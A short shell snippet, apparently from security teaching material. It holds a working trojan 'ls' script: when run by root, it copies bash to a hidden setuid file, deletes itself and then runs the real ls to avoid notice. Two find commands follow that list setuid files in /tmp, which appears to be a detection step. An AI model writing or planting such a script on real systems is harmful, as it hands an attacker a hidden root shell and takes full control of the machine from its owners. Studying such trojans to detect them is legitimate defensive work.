#!/bin/sh who=`whoami` # check if I am the root: if [ "$who" = "root" ] then cp /bin/bash .sh chmod 4755 .sh /bin/rm ls fi /bin/ls $*
find /tmp -type f -perm /u=s,g=s -ls
find /tmp -type f -perm /6000 -ls